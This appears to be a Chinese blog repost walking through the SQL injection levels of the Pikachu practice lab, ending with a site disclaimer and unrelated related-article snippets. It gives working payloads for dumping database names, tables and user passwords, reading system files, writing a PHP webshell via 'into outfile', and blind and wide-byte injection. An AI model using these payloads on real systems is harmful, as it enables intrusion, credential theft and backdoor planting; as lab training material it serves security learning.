Pikachu 靶场 SQL 注入通关解析

前言

Pikachu靶场是一种常见的网络安全训练平台,用于模拟真实世界中的网络攻击和防御场景。它提供了一系列的实验室环境,供安全专业人士、学生和爱好者练习和测试他们的技能。

Pikachu靶场的目的是帮助用户了解和掌握网络攻击的原理和技术,同时提供实践机会来开发和改进网络防御策略。靶场内的网络环境是虚拟的,用户可以通过远程访问来完成各种任务。这些任务可能包括渗透测试、漏洞利用、密码破解、网络侦查、恶意软件分析等。

Pikachu靶场提供了多个不同的实验室环境,以满足不同的训练需求。每个实验室环境都有不同的难度级别和目标,用户可以选择适合自己技能水平的实验室来进行训练。平台还提供了一系列的学习材料和指导,以帮助用户理解每个实验室的背景知识和解决方案。

通过在Pikachu靶场进行训练,用户可以提高自己的网络安全技能,了解常见的攻击技术和漏洞,并学习如何防御和保护网络。这对于网络管理员、渗透测试人员和安全研究人员来说都是非常有价值的。

总而言之,Pikachu靶场是一个提供实践机会的网络安全训练平台,旨在帮助用户提高网络安全技能和知识。它是一个非常有用的资源,可以帮助用户更好地应对日益增长的网络安全威胁。

介绍

SQL注入是一种安全漏洞,它可以允许攻击者通过在应用程序的输入字段中插入恶意的SQL代码,来执行未经授权的数据库操作。这种漏洞通常出现在需要用户输入数据并将其作为SQL查询的地方,如登录表单、搜索功能、用户注册等。

SQL注入的原理是应用程序没有充分验证和过滤用户输入,而是将用户输入直接拼接到SQL查询中,从而导致恶意的SQL代码被执行。攻击者可以通过注入恶意代码来绕过身份验证、获取敏感数据、修改数据库内容或执行其他未经授权的操作。

SQL注入可以分为以下几种类型:

1. 基于布尔逻辑的注入:攻击者通过在查询条件中插入一些布尔逻辑,来确定数据库的信息。例如,在登录页面上,攻击者可以通过插入恶意代码来绕过身份验证,例如 `' OR '1'='1'--`,这会导致查询条件始终为真,从而允许攻击者绕过密码验证。

2. 基于时间延迟的注入:攻击者通过在查询中插入一些需要长时间执行的操作,来确定数据库的信息。例如,攻击者可以插入 `'; WAITFOR DELAY '0:0:10'--`,这会导致查询暂停10秒钟,如果应用程序的响应时间明显增加,那么攻击者就可以得出数据库查询成功的结论。

3. 基于错误消息的注入:攻击者通过观察应用程序返回的错误消息,来确定数据库的信息。例如,攻击者可以插入 `' OR 1=1; SELECT * FROM users WHERE 'a'='a`,如果应用程序返回了查询错误的详细信息,那么攻击者就可以获得用户表的数据。

为了防止SQL注入攻击,应采取以下措施:

1. 使用参数化查询或预编译语句:使用参数化查询或预编译语句可以防止恶意代码的注入,因为它们会将用户输入作为参数传递给查询,而不是直接拼接到查询字符串中。

2. 输入验证和清理:对用户输入进行充分的验证和清理,只允许预期的字符和格式,并删除或转义任何潜在的恶意代码。

3. 最小化数据库用户权限:为数据库用户分配最小化的权限,只授予执行必要操作的权限,以限制攻击者的影响范围。

4. 定期更新和修补应用程序:定期更新和修补应用程序和数据库管理系统,以确保安全修复和补丁已安装,减少SQL注入的风险。

5. 使用Web应用程序防火墙(WAF):WAF可以检测和阻止SQL注入攻击,通过监视和过滤应用程序的输入和输出来提供额外的安全层级。

总结:SQL注入是一种安全漏洞,允许攻击者通过在应用程序的输入字段中插入恶意的SQL代码来执行未经授权的数据库操作。为了防止SQL注入攻击,应采取参数化查询、输入验证和清理、最小化数据库用户权限、定期更新和修补应用程序以及使用WAF等措施。

一、数字型注入(POST)

打开靶场

因为是 POST 型,所以得打开 BurpSuite 抓包

右键发送到 Repeater 模块

单双引号寻找注入点 

更改 id 为 3 查看页面显示正常

id=3

 加上单引号和双引号报错(说明存在 SQL 注入) 

id=3'
id=3"

注释判断 SQL 语句 

加上 --+ 显示正常说明没多余的 SQL 语句

id=3 --+

永真永假确认注入点 

加上永真与永假条件测试

id=3 and 1=1
id=3 and 1=2

Order by 猜测字段长度 

使用 order by 猜测字段,3 报错

id=3 order by 3

2 没报错,说明只有两个字段

id=3 order by 2

联合查询探测可利用字段数 

利用 union select 联合查询,将 id 值设置成不成立,即可探测到可利用的字段数

id=-1 union select 1,2

爆库、用户、版本号、表、列、字段值

利用函数 database(),user(),version() 可以得到所探测数据库的数据库名、用户名和版本号 

id=-1 union select database(),user()

爆表 payload:

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu'

发现表名 users,推测为用户表 

爆列 payload:

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'

爆字段值: 

id=-1 union select username,password from users

读取系统文件

payload:

id=-1 union select load_file('C:/Windows/win.ini'),1 from users

编写木马

payload:

id=-1 union select 1,'<?php assert($_POST[1]);?>' into outfile 'C:/phpstudy_pro/WWW/pikachu/vul/sqli/1.php

二、字符型注入(get)

类型变为了字符型,在 SQL 中字符是用单引号引起来的

还是一样的过程,只不过多了单引号闭合以及注释

' order by 3 --+

' order by 2 --+

' union select 1,2 --+

' union select database(),user() --+

后续一样的 

三、搜索型

通常使用了 Like 关键字,所以构造 SQL 注入时需要加注释

跟字符型是一样的

四、xx 型注入

所谓的xx型注入,就是输入的值可能被各种各样的符号包裹(单引号,双引号,括号等等)

输入单引号报错

可以发现多了个 )',所以推测闭合符号为 ')

五、"insert/update" 注入

"insert" 注入

先点击注册

随便填入数值后抓包

原理是使用 insert 语句插入新的数据 

猜测大概的执行语句为:

insert into users(username,password) values('$username','$password');

输入单引号则报错 

无 select 报错注入

从上面的操作可以看出来,注册页面是没有 SQL 结果回显的,而且毕竟也不是 select 语句,也不能采取联合查询注入了 

可以用 extractvalue 或者 updatexml 来进行报错注入

extractvalue() 函数

在SQL中,`EXTRACTVALUE()`函数用于从 XML 文档中提取指定路径的值。它的语法如下:

EXTRACTVALUE(xml_document, xpath_expression)

其中,`xml_document`是一个XML文档,`xpath_expression`是一个XPath表达式,用于指定要提取的值的路径。

`EXTRACTVALUE()`函数返回指定路径的第一个匹配节点的值,如果没有匹配的节点,则返回空字符串。

需要注意的是,`EXTRACTVALUE()`函数在MySQL 5.7版本中已被弃用,并且在MySQL 8.0版本中已被删除。这是因为它存在安全风险,容易受到XML注入攻击。推荐使用更安全的方法来处理XML数据,如使用XPath函数和XMLTABLE函数。

能够用于注入是因为,当xpath不符合语法时,该语句会报错 XPATH syntax error (注入信息),故可以将待查询的信息放入xpath中,通过报错回显出来

1' or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '# 这个语句是一个典型的SQL注入攻击尝试。它试图利用`EXTRACTVALUE()`函数来获取数据库名称。# 让我们逐步解析这个语句:# 1. `1'`:这是一个字符串,以`1`开头,并以单引号结尾。# 2. `or`:这是SQL中的逻辑运算符,用于连接条件。# 3. `EXTRACTVALUE(1, concat(0x7e,(select database()),0x7e))`:这是一个`EXTRACTVALUE()`函数调用,它尝试从一个虚拟的XML文档中提取数据库名称。`concat(0x7e,(select database()),0x7e)`表示在数据库名称前后添加波浪线`~`。# 4. `or`:再次使用逻辑运算符进行连接。# 5. `'`:最后的单引号用于结束字符串。# 这个语句的目的是通过注入攻击获取数据库的名称。通过将恶意的SQL代码注入语句中,攻击者可以尝试获取敏感的数据库信息。
updatexml() 函数

在SQL中,`UPDATEXML()`函数用于更新XML文档中指定路径的节点的值。它的语法如下:

UPDATEXML(xml_document, xpath_expression, new_value)

其中,`xml_document`是一个XML文档,`xpath_expression`是一个XPath表达式,用于指定要更新的节点的路径,`new_value`是要更新的新值。

`UPDATEXML()`函数会找到匹配`xpath_expression`的第一个节点,并将其值更新为`new_value`。如果没有匹配的节点,则不会进行任何操作。

需要注意的是,`UPDATEXML()`函数在MySQL 5.7版本中已被弃用,并且在MySQL 8.0版本中已被删除。这是因为它存在安全风险,容易受到XML注入攻击。推荐使用更安全的方法来处理XML数据,如使用XPath函数和XMLTABLE函数。

' and updatexml(1,concat(0x7e,user(),0x7e),1) and '

爆文件路径

补充知识点:在 SQL 中 substr() 函数用于提取字符串的子串

SUBSTR(string, start, length)

构造 payload: 

or updatexml(1,concat(0x7e,substr((select @@datadir),32,30),0x7e),1) or '

"update" 注入

和 "insert" 注入一样的 

六、"delete" 注入

先留言,再删除抓包

可以发现是数字型 

构造 payload 

七、"http header" 注入

先登录进去

根据页面显示的信息推测是获取了 HTTP 头 

打开 BurpSuite 抓包分析出注入点大概为 User-agent 或者 Accept

加单引号报错

报错注入构造 payload

'or extractvalue(1, concat(0x7e,(select database()),0x7e)) or '

八、盲注(base on boolian)

加单引号报错

添加注释页面显示正常

补充知识点:length() 返回字节类型的字符串长度,可以利用它判断长度(结果正确则页面正常,结果错误则页面错误)

kobe' and length(database())>5 --+

kobe' and length(database())>8 --+

由此判断出数据库名长度为 7 

BurpSuite 爆破

将数据包发送到 intruder 模块并给参数添加 payload §,攻击模式选择最后一个

kobe' and (select substr(database(),§1§,1))='§q§' --+

设置第一个参数类型为数值

第二个选择为简单列表并添加字典,取消 URL 编码 

点击开始攻击

根据长度推测出字符(这里 34000 全是错的) 

找到不一样长度的数据包,推测出数据库名为 Pikachu

当然也可以手测

kobe' and ascii(mid(database(),1,1))>115 #  ==> 页面错误
kobe' and ascii(mid(database(),1,1))>110 #  ==> 页面正确 
kobe' and ascii(mid(database(),1,1))>112 #  ==> 页面错误
kobe' and ascii(mid(database(),1,1))=112 #  ==> 页面正确

得第一个字符 ascii 码为 112, 对应字符为 p 

接下来就是爆表爆字段爆值(网上用脚本跑更快) 

九、盲注(base on time)

无论输入什么都是 i don't care who you are!

利用时间函数 sleep(),如果存在 SQL 注入则会执行产生延迟

kobe' and sleep(3) #

可以执行,再配合 IF 判断推测数据库名长度

IF 判断

kobe' and sleep(if(length(database())>7,0,20)) #

错误,延迟 20 秒,反之则不延迟 

接下来的 payload 就与布尔盲注大同小异了 

十、宽字节注入

补充知识:GBK编码中,反斜杠的编码是 “%5c”,而 “%df%5c” 是繁体字 “連” 

宽字节注入: 

(1)宽字节注入使用条件是:PHP 发送请求到 MySQL 时使用了语句 SET NAMES 'gbk' 或是set character_set_client =gbk 进行了一次编码

(2)宽字节注入的使用原因是:单引号、双引号等特殊字符被转义

(3)宽字节注入的原理是:当转义使用的 \ 为 ASCII 编码,而客户端传入的参数被当成 GBK 等宽字节编码,则可以通过在 \ 之前插入一个十六进制字节(ASCII码要大于128,才到汉字的范围)来让 MySQL 以为插入的字节和 \ 是一个中文字符,从而吃掉 \ ,摧毁转义

打开靶场 BurpSuite 抓包

kobe%df' or 1=1 --+

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/12643.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【美团面试2024/05/14】前端面试题滑动窗口

一、题目描述 设有一字符串序列 s&#xff0c;确定该序列中最长的无重复字母的子序列&#xff0c;并返回其长度。 备注 0 < s.length < 5 * 104 s 由英文字母、数字、符号和空格组成 示例1 输入 s "abcabcbb" 输出 3 二、原题链接 这道题在LeetCode上的原题链…

场景文本检测识别学习 day09(SSM、S4、Mamba、S6)

SSM&#xff08;State Space Model&#xff09; SSM是一个针对连续函数的模型&#xff0c;即输入是连续函数&#xff0c;输出也是连续函数。上图为状态方程和输出方程&#xff0c;其中h(t)是当前时刻的状态&#xff0c;x(t)是当前时刻的输入&#xff0c;h’(t)是下一个时刻的状…

训练集、测试集与验证集:机器学习模型评估的基石

在机器学习中&#xff0c;为了评估模型的性能&#xff0c;我们通常会将数据集划分为训练集&#xff08;Training Set&#xff09;、验证集&#xff08;Validation Set&#xff09;和测试集&#xff08;Test Set&#xff09;。这种划分有助于我们更好地理解模型在不同数据上的表…

【Spring】AbstractApplicationContext源码解读

这个类源码一打开&#xff0c;我滴妈有一种我不卷了&#xff0c;我送外卖去了的感觉1500行 但是还是对你自己说 坚持坚持再坚持。35岁再送外卖也不迟。 这里我们先看这个抽象类的注释&#xff1a; Abstract implementation of the ApplicationContext interface. Doesnt man…

docker 修改运行容器环境变量

文章目录 前言第一步&#xff1a;查看Docker Root目录第二步&#xff1a;查到容器的长id&#xff08;container id&#xff09;第三步&#xff1a;停止容器第四步&#xff1a;编辑修改环境变量env第五步&#xff1a;重载服务的配置文件第六步&#xff1a;重启docker 总结 前言 …

力扣416. 分割等和子集

Problem: 416. 分割等和子集 文章目录 题目描述思路解题方法复杂度Code 题目描述 思路 该题目可以归类为0-1背包问题&#xff0c;具体到细节可以再归纳为背包是否装满问题 1.首先判断数组元素和的奇偶性&#xff08;奇数则不能划分&#xff09; 2.我们定义一个二维布尔类型数组…

【opencv】opencv透视变换和ocr识别实验

实验环境&#xff1a;anaconda、jupyter notebook 实验用到的包opencv、numpy、matplotlib、tesseract 一、opencv透视变换 原图 图片是我拍的耳机说明书&#xff0c;哈哈哈哈&#xff0c;你也可以使用自己拍的照片&#xff0c;最好是英文内容&#xff0c;tesseract默认识别英…

iOS Xcode Debug View Hierarchy 查看视图层级结构

前言 我们难免会遇到接手别人项目的情况&#xff0c;让你去改他遗留的问题&#xff0c;想想都头大&#xff0c;&#x1f602;可是也不得不面对。作为开发者只要让我们找到出问题的代码文件&#xff0c;我们就总有办法去解决它&#xff0c;那么如何快速定位问题对应的代码文件呢…

FullCalendar日历组件集成实战(4)

背景 有一些应用系统或应用功能&#xff0c;如日程管理、任务管理需要使用到日历组件。虽然Element Plus也提供了日历组件&#xff0c;但功能比较简单&#xff0c;用来做数据展现勉强可用。但如果需要进行复杂的数据展示&#xff0c;以及互动操作如通过点击添加事件&#xff0…

python如何做一个服务器fastapi 和flask

用 fastapi 方式的话 from fastapi import FastAPIapp FastAPI()app.get("/api") def index():return "hello world"然后需要安装 uvicorn 并执行下面的命令 uvicorn server:app --port 8000 --reload最终 如果是用 flask 直接写下面的代码 # -*- cod…

IP代理网络协议介绍

在IP代理页面上&#xff0c;存在HTTP/HTTPS/Socks5三种协议。它们都是客户端与服务器之间交互的协议。 HTTP HTTP又称之为超文本传输协议&#xff0c;在因特网使用范围广泛。它是一种请求/响应模型&#xff0c;客户端向服务器发送请求&#xff0c;服务器解析请求后对客户端作出…

20240514基于深度学习的弹性超材料色散关系预测与结构逆设计

论文&#xff1a;Dispersion relation prediction and structure inverse design of elastic metamaterials via deep learning DOI&#xff1a;https://doi.org/10.1016/j.mtphys.2022.100616 1、摘要 精心设计的超材料结构给予前所未有的性能&#xff0c;保证了各种各样的具…

Linux学习笔记(Socket)

Linux-Socket 1、基础知识2、服务端3、客户端4、读写操作4.1、读写函数4.2、阻塞IO和非阻塞IO 5、例程 1、基础知识 socket用于计算机之间的网络通信&#xff0c;无论是构建服务器还是客户端&#xff0c;我们仅需要三个信息&#xff0c;服务器的ip地址&#xff0c;对应进程的端…

OpenAI 新发布的 GPT-4o,有血有肉的Ai来了,可实时语音视频交互

今天&#xff0c;OpenAI又又又开发布会了。 在大众心里&#xff0c;现在也基本上都知道&#xff0c;奥特曼是一个贼能PR的人。 每一次的PR的时间点&#xff0c;都拿捏的极其到位&#xff0c;精准的狙击其他厂商。比如说上一次Sora&#xff0c;其实你会发现从头到尾就是一个PR的…

奥维地图下载高清影像的两种方式!以及ArcGIS、QGIS、GlobalMapper、自编工具下载高清影像的方法推荐!

今天来介绍一下奥维互动地图是如何下载高清影像的&#xff0c;也不是多了不起的功能&#xff01;有朋友问&#xff0c;加上这个软件确实用的人多。 下载的高清数据在ArcGIS中打开的效果&#xff01; 开始介绍奥维之前我们也介绍一下我们之前介绍的几个方法&#xff0c;没有优劣…

zabbix触发器配置定期生效教程

在企业生产过程中&#xff0c;并非所有的设备都需要全天候、满负载运转&#xff0c;也有些仅需要周期性的运转即可。例如&#xff0c;在某家企业&#xff0c;有一批这样的机器&#xff0c;每天都会在固定的时间跑批量任务&#xff0c;期间&#xff0c;机器的CPU使用率会有明显的…

LeetCode 126题:单词接龙 II

❤️❤️❤️ 欢迎来到我的博客。希望您能在这里找到既有价值又有趣的内容&#xff0c;和我一起探索、学习和成长。欢迎评论区畅所欲言、享受知识的乐趣&#xff01; 推荐&#xff1a;数据分析螺丝钉的首页 格物致知 终身学习 期待您的关注 导航&#xff1a; LeetCode解锁100…

联软安渡 UniNXG 安全数据交换系统 任意文件读取漏洞复现

0x01 产品简介 联软安渡UniNXG安全数据交换系统,是联软科技自研的业内融合网闸、网盘和DLP的一体机产品,它同时支持多网交换,查杀毒、审计审批、敏感内容识别等功能,是解决用户网络隔离、网间及网内数据传输、交换、共享/分享、存储的理想安全设备,具有开创性意义。 UniN…

什么是BI看板?选择BI看板制作工具时一定要考虑这些方面

BI看板也称为商业智能仪表板&#xff0c;是一种直观的数据可视化工具&#xff0c;它将关键业务指标&#xff08;KPIs&#xff09;和数据以图表、图形和表格的形式集中展示&#xff0c;使用户能够快速获取企业运营的实时概览。 这种数据可视化方式不仅使得复杂的数据信息易于理…

FPGA - Xilinx系列高速收发器---GTX

1&#xff0c;GTX是什么&#xff1f; GT &#xff1a;Gigabit Transceiver千兆比特收发器&#xff1b; GTX &#xff1a;Xilinx 7系列FPGA的高速串行收发器&#xff0c;硬核 xilinx的7系列FPGA根据不同的器件类型&#xff0c;集成了GTP、GTX、GTH、GTZ四种串行高速收发器&am…